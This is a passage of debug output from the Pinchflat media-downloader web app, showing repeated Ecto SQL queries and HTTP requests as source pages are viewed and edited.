m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.526 [debug] QUERY OK source="tasks" db=0.9ms idle=46.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 18:56:13.527 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=46.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17076] 18:56:13.527 [debug] QUERY OK source="settings" db=0.1ms idle=17.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.527 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.528 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.529 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.530 [debug] QUERY OK source="media_items" db=0.6ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:56:13.531 [debug] QUERY OK source="media_items" db=0.8ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.531 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.532 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:56:13.532 [debug] QUERY OK source="media_items" db=0.4ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.533 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.534 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 18:56:13.535 [debug] QUERY OK source="media_items" db=0.8ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.536 [info] Sent 200 in 11ms 18:56:13.541 [info] GET /sources/1/ 18:56:13.542 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:56:13.542 [debug] QUERY OK source="sources" db=0.1ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.542 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.545 [debug] QUERY OK source="tasks" db=2.2ms idle=9.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 18:56:13.545 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=10.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17077] 18:56:13.545 [debug] QUERY OK source="settings" db=0.1ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.546 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.546 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.547 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.548 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:56:13.548 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.549 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.549 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 18:56:13.549 [debug] QUERY OK source="media_items" db=0.2ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.550 [info] GET /sources/2/edit 18:56:13.550 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 18:56:13.551 [debug] QUERY OK source="sources" db=0.5ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.551 [debug] QUERY OK source="sources" db=0.5ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.551 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:56:13.552 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.552 [debug] QUERY OK source="media_items" db=0.9ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 18:56:13.552 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.552 [debug] QUERY OK source="media_items" db=0.4ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 18:56:13.552 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.553 [info] Sent 200 in 11ms 18:56:13.555 [info] Sent 200 in 4ms 18:56:13.561 [info] GET /sources/1 18:56:13.561 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:56:13.561 [debug] QUERY OK source="sources" db=0.1ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.562 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.563 [info] GET /sources/1/edit 18:56:13.563 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:56:13.564 [debug] QUERY OK source="sources" db=0.3ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:56:13.564 [debug] QUERY OK source="media_profiles" db=0.3ms idle=11.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:56:13.564 [debug] QUERY OK source="tasks" db=2.5ms idle=9.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 18:56:13.565 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.565 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=2.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17077] 18:56:13.565 [debug] QUERY OK source="settings" db=0.5ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.566 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.566 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.566 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", 